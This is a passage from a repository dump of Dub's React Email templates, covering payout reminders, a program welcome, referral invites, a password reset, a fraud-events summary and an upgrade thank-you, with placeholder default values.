text-sm font-medium text-neutral-600\">\n                              {bounty.label}\n                            </Text>\n                          </Column>\n                        </Row>\n                      ))}\n                    </>\n                  )}\n                </Section>\n              </>\n            )}\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/program-payout-reminder.tsx",
    "content": "import { currencyFormatter, DUB_WORDMARK, pluralize } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function ProgramPayoutReminder({\n  email = \"panic@thedis.co\",\n  workspace = {\n    slug: \"acme\",\n  },\n  program = {\n    name: \"Acme\",\n  },\n  payout = {\n    amount: 450000,\n    partnersCount: 12,\n  },\n}: {\n  email: string;\n  workspace: {\n    slug: string;\n  };\n  program: {\n    name: string;\n  };\n  payout: {\n    amount: number; // in cents\n    partnersCount: number;\n  };\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        {payout.partnersCount.toString()}{\" \"}\n        {pluralize(\"partner\", payout.partnersCount)} awaiting your payout for{\" \"}\n        {program.name}\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] px-10 py-5\">\n            <Section className=\"mb-8 mt-6\">\n              <Img src={DUB_WORDMARK} width=\"61\" height=\"32\" alt=\"dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 p-0 text-lg font-medium text-neutral-800\">\n              {payout.partnersCount}{\" \"}\n              {pluralize(\"partner\", payout.partnersCount)} awaiting your payout\n              for {program.name}\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              You have <strong>{payout.partnersCount}</strong> partners awaiting\n              their payout for <strong>{program.name}</strong>. Completing these\n              on time will keep your program running smoothly and your partners\n              happy.\n            </Text>\n\n            <Section className=\"rounded-lg border border-solid border-neutral-200 p-4\">\n              <Row>\n                <Column className=\"w-1/2\">\n                  <Stats\n                    title=\"Total payout amount\"\n                    icon=\"https://assets.dub.co/misc/icons/nucleo/money-bills.png\"\n                    value={currencyFormatter(payout.amount)}\n                  />\n                </Column>\n\n                <Column className=\"w-1/2\">\n                  <Stats\n                    title=\"Partners awaiting payout\"\n                    icon=\"https://assets.dub.co/misc/icons/nucleo/users.png\"\n                    value={payout.partnersCount}\n                  />\n                </Column>\n              </Row>\n\n              <Section className=\"mt-6 text-center\">\n                <Link\n                  href={`https://app.dub.co/${workspace.slug}/program/payouts?status=pending&confirmPayouts=true`}\n                  className=\"box-border block w-full rounded-lg bg-black px-0 py-4 text-center text-sm leading-none text-white no-underline\"\n                >\n                  Review and confirm payouts\n                </Link>\n              </Section>\n            </Section>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n\nconst Stats = ({\n  title,\n  value,\n  icon,\n}: {\n  title: string;\n  value: string | number;\n  icon: string;\n}) => {\n  return (\n    <Row className=\"flex\">\n      <Column className=\"flex h-10 w-10 rounded-md bg-neutral-100\" align=\"left\">\n        <Img src={icon} alt={title} className=\"m-auto block h-4 w-4\" />\n      </Column>\n      <Column className=\"w-3\" />\n      <Column align=\"left\" className=\"flex-1\">\n        <Text className=\"m-0 text-left text-xs font-medium text-neutral-500\">\n          {title}\n        </Text>\n        <Text className=\"m-0 text-left text-lg font-medium text-neutral-800\">\n          {value}\n        </Text>\n      </Column>\n    </Row>\n  );\n};\n"
  },
  {
    "path": "packages/email/src/templates/program-payout-thank-you.tsx",
    "content": "import { currencyFormatter, nFormatter, pluralize } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function ProgramPayoutThankYou({\n  email = \"panic@thedis.co\",\n  workspace = {\n    slug: \"acme\",\n  },\n  program = {\n    name: \"Acme\",\n  },\n  payout = {\n    amount: 450000000,\n    partnersCount: 1234,\n  },\n}: {\n  email: string;\n  workspace: {\n    slug: string;\n  };\n  program: {\n    name: string;\n  };\n  payout: {\n    amount: number; // in cents\n    partnersCount: number;\n  };\n}) {\n  const formattedAmount = currencyFormatter(payout.amount, {\n    trailingZeroDisplay: \"stripIfInteger\",\n  });\n\n  return (\n    <Html>\n      <Head>\n        <style>{`\n          @media only screen and (max-width: 600px) {\n            .amount-text {\n              font-size: 3.25rem !important;\n            }\n            .heading-text {\n              font-size: 1rem !important;\n            }\n          }\n        `}</style>\n      </Head>\n      <Preview>\n        Thank you {program.name} for your payout to{\" \"}\n        {nFormatter(payout.partnersCount, { full: true })}{\" \"}\n        {pluralize(\"partner\", payout.partnersCount)}!\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-neutral-100 font-sans\">\n          <Container className=\"mx-auto my-0 max-w-[600px] py-0\">\n            <Section className=\"mb-8 mt-0 text-center\">\n              <Img\n                src=\"https://assets.dub.co/misc/payout-thank-you-header.jpg\"\n                width=\"600\"\n                alt=\"Thank you\"\n                style={{\n                  maxWidth: \"100%\",\n                  height: \"auto\",\n                  display: \"block\",\n                  margin: \"0 auto\",\n                }}\n              />\n            </Section>\n\n            <Heading className=\"heading-text mx-0 mb-6 p-0 text-center text-lg font-medium text-neutral-800\">\n              Thank you <strong>{program.name}</strong>\n              <br />\n              for your payout to{\" \"}\n              {nFormatter(payout.partnersCount, { full: true })}{\" \"}\n              {pluralize(\"partner\", payout.partnersCount)}!\n            </Heading>\n\n            <Section className=\"mb-8 text-center\">\n              <Text\n                className=\"amount-text m-0 font-extrabold text-neutral-800\"\n                style={{\n                  fontSize: \"clamp(2rem, 8vw, 6rem)\",\n                  lineHeight: \"1.1\",\n                }}\n              >\n                {formattedAmount}\n              </Text>\n            </Section>\n\n            <Section className=\"mb-8 mt-6 text-center\">\n              <Link\n                href={`https://app.dub.co/${workspace.slug}/settings/billing/invoices?type=partnerPayout`}\n                className=\"box-border inline-block rounded-lg bg-black px-6 py-4 text-center text-sm leading-none text-white no-underline\"\n              >\n                View your invoices\n              </Link>\n            </Section>\n\n            <Section className=\"mx-auto max-w-[400px] text-center\">\n              <Footer email={email} />\n            </Section>\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/program-welcome.tsx",
    "content": "import {\n  DUB_LOGO,\n  DUB_THUMBNAIL,\n  DUB_WORDMARK,\n  getPrettyUrl,\n} from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function ProgramWelcome({\n  email = \"panic@thedis.co\",\n  workspace = {\n    slug: \"acme\",\n  },\n  program = {\n    slug: \"acme\",\n    name: \"Acme\",\n    logo: DUB_LOGO,\n  },\n}: {\n  email: string;\n  workspace: {\n    slug: string;\n  };\n  program: {\n    slug: string;\n    name: string;\n    logo: string | null;\n  };\n}) {\n  const workspaceUrlPrefix = `https://app.dub.co/${workspace.slug}`;\n\n  return (\n    <Html>\n      <Head />\n      <Preview>Congratulations on creating a program!</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading\n              className=\"mt-8 text-lg font-semibold leading-7 text-neutral-900\"\n              as=\"h2\"\n            >\n              Congratulations on creating a program!\n            </Heading>\n            <Text className=\"mb-6 mt-5 text-sm leading-5 text-neutral-600\">\n              Your program{\" \"}\n              <span className=\"font-semibold text-neutral-800\">\n                {program.name}\n              </span>{\" \"}\n              is created and ready to share with your partners.\n            </Text>\n            <Section className=\"mb-6 rounded-xl border border-solid border-neutral-200 bg-neutral-50 px-6 py-4\">\n              <Row>\n                <Column width={10}>\n                  <Img\n                    src={program.logo || DUB_THUMBNAIL}\n                    alt={program.name}\n                    height=\"32\"\n                    width=\"32\"\n                    className=\"mr-4 rounded-md\"\n                  />\n                </Column>\n\n                <Column>\n                  <Text className=\"text-md m-0 text-base font-semibold leading-none text-neutral-800\">\n                    {program.name}\n                  </Text>\n\n                  <Link\n                    href={`${workspaceUrlPrefix}/program`}\n                    className=\"m-0 text-xs font-medium text-neutral-800 underline\"\n                  >\n                    {getPrettyUrl(`${workspaceUrlPrefix}/program`)}\n                  </Link>\n                </Column>\n              </Row>\n            </Section>\n            <Heading\n              className=\"mb-6 text-base font-semibold leading-6 text-neutral-900\"\n              as=\"h3\"\n            >\n              Getting started\n            </Heading>\n            <Text className=\"mb-4 text-sm leading-5 text-neutral-800\">\n              1.{\" \"}\n              <span className=\"font-medium\">\n                Create your program application form\n              </span>\n              : Use our{\" \"}\n              <Link\n                href={`${workspaceUrlPrefix}/program/groups/default/branding`}\n                className=\"font-semibold text-neutral-800 underline underline-offset-2\"\n              >\n                interactive builder\n              </Link>{\" \"}\n              to create a beautiful, branded program application form to get\n              more partners applying to join your program.\n            </Text>\n            <Text className=\"mb-4 text-sm leading-5 text-neutral-800\">\n              2. <span className=\"font-medium\">Connect your bank account</span>:{\" \"}\n              <Link\n                href=\"https://dub.co/help/article/how-to-set-up-bank-account\"\n                className=\"font-semibold text-neutral-800 underline underline-offset-2\"\n              >\n                Set up a bank account\n              </Link>{\" \"}\n              to start paying out commissions to your partners.\n            </Text>\n            <Text className=\"mb-4 text-sm leading-5 text-neutral-800\">\n              3. <span className=\"font-medium\">Set up conversion tracking</span>\n              :{\" \"}\n              <Link\n                href={`${workspaceUrlPrefix}/settings/tracking`}\n                className=\"font-semibold text-neutral-800 underline underline-offset-2\"\n              >\n                Follow our quickstart guide\n              </Link>{\" \"}\n              to set up conversion tracking for your program.\n            </Text>\n            <Text className=\"mb-4 text-sm leading-5 text-neutral-800\">\n              4. <span className=\"font-medium\">Invite your partners</span>:\n              Easily{\" \"}\n              <Link\n                href={`${workspaceUrlPrefix}/program/partners`}\n                className=\"font-semibold text-neutral-800 underline underline-offset-2\"\n              >\n                invite influencers, affiliates, and users\n              </Link>{\" \"}\n              to your program, or{\" \"}\n              <Link\n                href=\"https://dub.co/docs/partners/embedded-referrals\"\n                className=\"font-semibold text-neutral-800 underline underline-offset-2\"\n              >\n                enroll them automatically.\n              </Link>\n            </Text>\n            <Text className=\"mb-0 text-sm leading-5 text-neutral-800\">\n              5. <span className=\"font-medium\">Create more rewards</span> - Set\n              up{\" \"}\n              <Link\n                href={`${workspaceUrlPrefix}/program/rewards`}\n                className=\"font-semibold text-neutral-800 underline underline-offset-2\"\n              >\n                click, lead, and sale-based rewards\n              </Link>{\" \"}\n              to incentivize your partners to drive more traffic and\n              conversions.\n            </Text>\n            <Section className=\"my-10\">\n              <Link\n                href={`${workspaceUrlPrefix}/program`}\n                className=\"box-border h-10 w-fit rounded-lg bg-black px-4 py-3 text-center text-sm leading-none text-white no-underline\"\n              >\n                Go to your dashboard\n              </Link>\n            </Section>\n            <Footer email={email} marketing />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/referral-invite.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function ReferralInvite({\n  email = \"panic@thedis.co\",\n  url = \"https://dub.co\",\n  workspaceUser = \"Brendon Urie\",\n  workspaceUserEmail = \"panic@thedis.co\",\n}: {\n  email: string;\n  url: string;\n  workspaceUser: string | null;\n  workspaceUserEmail: string | null;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Sign up for Dub</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-xl font-medium text-black\">\n              Sign up for Dub\n            </Heading>\n            {workspaceUser && workspaceUserEmail ? (\n              <Text className=\"text-sm leading-6 text-black\">\n                <strong>{workspaceUser}</strong> (\n                <Link\n                  className=\"text-blue-600 no-underline\"\n                  href={`mailto:${workspaceUserEmail}`}\n                >\n                  {workspaceUserEmail}\n                </Link>\n                ) has invited you to start using Dub!\n              </Text>\n            ) : (\n              <Text className=\"text-sm leading-6 text-black\">\n                You have been invited to start using Dub!\n              </Text>\n            )}\n            <Section className=\"mb-8 mt-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={url}\n              >\n                Learn More\n              </Link>\n            </Section>\n            <Text className=\"text-sm leading-6 text-black\">\n              or copy and paste this URL into your browser:\n            </Text>\n            <Text className=\"max-w-sm flex-wrap break-words font-medium text-purple-600 no-underline\">\n              {url.replace(/^https?:\\/\\//, \"\")}\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/referral-status-update.tsx",
    "content": "import { DUB_WORDMARK, OG_AVATAR_URL } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function ReferralStatusUpdate({\n  partner = {\n    name: \"John Doe\",\n    email: \"john@example.com\",\n  },\n  program = {\n    name: \"Acme\",\n    slug: \"acme\",\n  },\n  referral = {\n    name: \"Jane Smith\",\n    email: \"jane@example.com\",\n    company: \"Acme Corp\",\n    image: null,\n    status: \"Qualified\",\n  },\n  notes,\n}: {\n  partner: { name: string; email: string };\n  program: { name: string; slug: string };\n  referral: {\n    name: string;\n    email: string;\n    company: string;\n    image: string | null;\n    status: string;\n  };\n  notes?: string | null;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        Your referral {referral.name} has been updated to {referral.status}.\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mb-8 mt-6\">\n              <Img src={DUB_WORDMARK} width=\"61\" height=\"32\" alt=\"dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 p-0 text-lg font-medium text-neutral-800\">\n              Referral status update\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              Your submitted referral has changed to{\" \"}\n              <strong>{referral.status}</strong> by{\" \"}\n              <strong>{program.name}</strong>.\n            </Text>\n\n            {notes && (\n              <>\n                <Text className=\"mb-0 text-sm font-semibold leading-6 text-neutral-800\">\n                  Additional notes from {program.name}:\n                </Text>\n                <Text className=\"mt-1 text-sm leading-6 text-neutral-600\">\n                  {notes}\n                </Text>\n              </>\n            )}\n\n            <Container className=\"mb-8 mt-10 rounded-lg border border-solid border-neutral-200\">\n              <Section className=\"p-2\">\n                <Container className=\"w-full rounded-lg border border-solid border-neutral-100 bg-neutral-50 p-6\">\n                  <div>\n                    <Img\n                      src={\n                        referral.image || `${OG_AVATAR_URL}${referral.email}`\n                      }\n                      width=\"48\"\n                      height=\"48\"\n                      alt={referral.name}\n                      className=\"rounded-full\"\n                    />\n\n                    <div>\n                      <Text className=\"m-0 mt-3 p-0 text-lg font-medium text-neutral-900\">\n                        {referral.name}\n                      </Text>\n                      <table\n                        cellPadding=\"0\"\n                        cellSpacing=\"0\"\n                        style={{ marginTop: \"4px\" }}\n                      >\n                        <tr>\n                          <td\n                            style={{\n                              verticalAlign: \"middle\",\n                              paddingRight: \"6px\",\n                              lineHeight: 0,\n                            }}\n                          >\n                            <Img\n                              src=\"https://assets.dub.co/email-assets/icons/envelope.png\"\n                              width=\"14\"\n                              height=\"14\"\n                              className=\"opacity-75\"\n                              alt=\"envelope\"\n                            />\n                          </td>\n                          <td\n                            style={{\n                              verticalAlign: \"middle\",\n                              fontSize: \"14px\",\n                              color: \"#737373\",\n                            }}\n                          >\n                            {referral.email}\n                          </td>\n                        </tr>\n                      </table>\n                      <table\n                        cellPadding=\"0\"\n                        cellSpacing=\"0\"\n                        style={{ marginTop: \"4px\" }}\n                      >\n                        <tr>\n                          <td\n                            style={{\n                              verticalAlign: \"middle\",\n                              paddingRight: \"6px\",\n                              lineHeight: 0,\n                            }}\n                          >\n                            <Img\n                              src=\"https://assets.dub.co/email-assets/icons/office-building.png\"\n                              width=\"14\"\n                              height=\"14\"\n                              alt=\"office building\"\n                              className=\"opacity-75\"\n                            />\n                          </td>\n                          <td\n                            style={{\n                              verticalAlign: \"middle\",\n                              fontSize: \"14px\",\n                              color: \"#737373\",\n                            }}\n                          >\n                            {referral.company}\n                          </td>\n                        </tr>\n                      </table>\n                    </div>\n                  </div>\n                </Container>\n              </Section>\n            </Container>\n\n            <Footer\n              email={partner.email}\n              notificationSettingsUrl=\"https://partners.dub.co/profile/notifications\"\n            />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/reset-password-link.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function ResetPasswordLink({\n  email = \"panic@thedis.co\",\n  url = \"http://localhost:8888/auth/reset-password/adaf8468f590e70bb60fe40983321c2719c7bdc694063bd2437c1f8a53f7c90a\",\n}: {\n  email: string;\n  url: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Reset Password Link</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-xl font-medium text-black\">\n              Reset password link\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              You are receiving this email because we received a password reset\n              request for your account at Dub.\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              Please click the button below to reset your password.\n            </Text>\n            <Section className=\"my-8 mt-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={url}\n              >\n                Reset Password\n              </Link>\n            </Section>\n            <Text className=\"text-sm leading-6 text-black\">\n              or copy and paste this URL into your browser:\n            </Text>\n            <Text className=\"max-w-sm flex-wrap break-words font-medium text-purple-600 no-underline\">\n              {url.replace(/^https?:\\/\\//, \"\")}\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/unresolved-fraud-events-summary.tsx",
    "content": "import { DUB_WORDMARK, formatDate, OG_AVATAR_URL } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nconst MAX_DISPLAYED_GROUPS = 5;\n\nexport default function UnresolvedFraudEventsSummary({\n  workspace = {\n    slug: \"acme\",\n  },\n  program = {\n    name: \"Acme\",\n  },\n  fraudGroups = [\n    {\n      id: \"frg_1KBEY53HESGDK7RAPX960FEWA\",\n      name: \"Customer email match\",\n      count: 2,\n      partner: {\n        name: \"Lauren Anderson\",\n        image: `${OG_AVATAR_URL}Lauren Anderson`,\n      },\n    },\n    {\n      id: \"frg_1KBEZRKC1GB716J5AKV62MK8H\",\n      name: \"Referral source\",\n      count: 1,\n      partner: {\n        name: \"Charlie Anderson\",\n        image: `${OG_AVATAR_URL}Charlie Anderson`,\n      },\n    },\n  ],\n  email = \"panic@thedis.co\",\n}: {\n  workspace: {\n    slug: string;\n  };\n  program: {\n    name: string;\n  };\n  fraudGroups: {\n    id: string;\n    name: string;\n    count: number;\n    partner: {\n      name: string;\n      image: string | null;\n    };\n  }[];\n  email: string;\n}) {\n  const todayDate = formatDate(new Date(), {\n    month: \"short\",\n    day: \"numeric\",\n    year: \"numeric\",\n  });\n\n  const displayedGroups = fraudGroups.slice(0, MAX_DISPLAYED_GROUPS);\n  const remainingCount = fraudGroups.length - MAX_DISPLAYED_GROUPS;\n  const hiddenCount = Math.max(0, remainingCount);\n\n  return (\n    <Html>\n      <Head />\n      <Preview>Fraud detection events</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-8 max-w-[600px] px-8 py-8\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 my-8 p-0 text-lg font-medium text-black\">\n              Fraud detection events\n            </Heading>\n\n            <Text className=\"text-sm text-neutral-600\">\n              Here are your detected fraud and risk events reported for{\" \"}\n              <strong>{todayDate}</strong> for the{\" \"}\n              <strong>{program.name}</strong> program.\n            </Text>\n\n            <Section className=\"my-6 rounded-xl border border-solid border-neutral-200 bg-white p-0\">\n              {displayedGroups.map((group, index) => {\n                const isLastDisplayedItem =\n                  index === displayedGroups.length - 1;\n                const shouldShowBottomBorder = !isLastDisplayedItem;\n                return (\n                  <Row\n                    key={group.id}\n                    className={`border-solid border-neutral-200 ${\n                      shouldShowBottomBorder ? \"border-b\" : \"\"\n                    }`}\n                  >\n                    <Column className=\"px-3 py-3\" valign=\"middle\">\n                      <Row>\n                        <Column width=\"32\" valign=\"middle\">\n                          <Img\n                            src={\n                              group.partner.image ||\n                              `${OG_AVATAR_URL}${group.partner.name}`\n                            }\n                            width={32}\n                            height={32}\n                            alt={group.partner.name}\n                            className=\"rounded-full\"\n                          />\n                        </Column>\n\n                        <Column className=\"pl-2 pt-1\" valign=\"middle\">\n                          <Text className=\"m-0 text-sm font-medium leading-[16px] text-neutral-800\">\n                            {group.partner.name}\n                          </Text>\n\n                          <div className=\"mt-0\">\n                            <span className=\"m-0 inline text-xs font-medium text-neutral-500\">\n                              {group.name}\n                            </span>\n                            {group.count > 1 && (\n                              <span className=\"m-0 ml-1 inline rounded-md bg-neutral-100 px-1 py-0 text-xs font-semibold text-neutral-700\">\n                                {group.count}\n                              </span>\n                            )}\n                          </div>\n                        </Column>\n\n                        <Column align=\"right\" valign=\"middle\">\n                          <Link\n                            className=\"inline-block rounded-lg border border-solid border-neutral-300 bg-white px-2.5 py-1.5 text-sm font-medium text-neutral-800 no-underline\"\n                            href={`https://app.dub.co/${workspace.slug}/program/fraud?groupId=${group.id}`}\n                          >\n                            View\n                          </Link>\n                        </Column>\n                      </Row>\n                    </Column>\n                  </Row>\n                );\n              })}\n\n              {hiddenCount > 0 && (\n                <Row className=\"h-11 rounded-b-xl border-t border-solid border-neutral-200 bg-neutral-50\">\n                  <Column\n                    className=\"px-4\"\n                    align=\"center\"\n                    valign=\"middle\"\n                    colSpan={2}\n                  >\n                    <Text className=\"m-0 text-sm font-medium text-neutral-600\">\n                      Plus {hiddenCount} more\n                    </Text>\n                  </Column>\n                </Row>\n              )}\n            </Section>\n\n            <Section className=\"mt-6 text-center\">\n              <Link\n                href={`https://app.dub.co/${workspace.slug}/program/fraud`}\n                className=\"box-border block w-full rounded-md bg-black px-4 py-3 text-center text-sm font-medium leading-none text-white no-underline\"\n              >\n                Review all events\n              </Link>\n            </Section>\n\n            <Footer\n              email={email}\n              notificationSettingsUrl={`https://app.dub.co/${workspace.slug}/settings/notifications`}\n            />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/upgrade-email.tsx",
    "content": "import { DUB_WORDMARK, getPlanDetails } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function UpgradeEmail({\n  name = \"Brendon Urie\",\n  email = \"panic@thedis.co\",\n  plan = \"Business\",\n  planTier = 1,\n}: {\n  name: string | null;\n  email: string;\n  plan: string;\n  planTier: number;\n}) {\n  const planDetails = getPlanDetails({ plan, planTier });\n  return (\n    <Html>\n      <Head />\n      <Preview>Thank you for upgrading to Dub {plan}!</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-xl font-medium text-black\">\n              Thank you for upgrading to Dub {plan}!\n            </Heading>\n            <Section className=\"my-8\">\n              <Img\n                src=\"https://assets.dub.co/misc/thank-you-thumbnail.jpg\"\n                alt=\"Thank you\"\n                className=\"max-w-[500px]\"\n              />\n            </Section>\n            <Text className=\"text-sm leading-6 text-black\">\n              Hey{name && ` ${name}`}!\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              My name is Steven, and I'm the founder of Dub.\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              I wanted to personally reach out to thank you for upgrading to{\" \"}\n              <strong>Dub {plan}</strong>! Your support means the world to us\n              and helps us continue to build and improve Dub.\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              On the {plan} plan, you now have access to:\n            </Text>\n            {planDetails.features?.map((feature) => (\n              <Text className=\"ml-1 text-sm leading-4 text-black\">\n                ✦{\" \"}\n                {feature.tooltip?.href ? (\n                  <Link href={feature.tooltip.href}>{feature.text}</Link>\n                ) : (\n                  feature.text\n                )}\n              </Text>\n            ))}\n            <Text className=\"text-sm leading-6 text-black\">\n              If you have any questions or feedback about Dub, please don't\n              hesitate to reach out – I'm always happy to help!\n            </Text>\n            <Text className=\"text-sm font-light leading-6 text-neutral-400\">\n              Steven from Dub\n            </Text>\n            <Footer email={email} marketing />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/verify-email-for-account-merge.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function VerifyEmailForAccountMerge({\n  email = \"panic@thedis.co\",\n  code = \"123456\",\n  expiresInMinutes = 5,\n}: {\n  email: string;\n  code: string;\n  expiresInMinutes: number;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Confirm your email for account merging</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] px-10 py-5\">\n            <Section className=\"mb-8 flex items-center\">\n              <Img\n                src={DUB_WORDMARK}\n                height=\"32\"\n                alt=\"Dub\"\n                className=\"mr-auto\"\n              />\n            </Section>\n\n            <Heading className=\"mx-0 my-7 p-0 text-xl font-semibold text-black\">\n              Confirm your email for account merging\n            </Heading>\n\n            <Text className=\"mx-0 mb-8 text-base text-neutral-600\">\n              Use the code below to verify and continue merging your accounts\n            </Text>\n\n            <Section className=\"mb-8\">\n              <div className=\"mx-auto flex flex-col rounded-lg border border-solid border-neutral-200 bg-neutral-100 p-1 text-center\">\n                <div className=\"rounded-lg border border-solid border-neutral-200 bg-white px-6 py-6 text-center\">\n                  <span className=\"font-mono text-3xl font-semibold tracking-[0.25em]\">\n                    {code}\n                  </span>\n                </div>\n                <div className=\"items-center py-1.5\">\n                  <span className=\"text-base text-sm text-neutral-500\">\n                    {email}\n                  </span>\n                </div>\n              </div>\n            </Section>\n\n            <Text className=\"mb-2 text-sm text-neutral-600\">\n              This code expires in {expiresInMinutes} minutes.\n            </Text>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/verify-email.tsx",
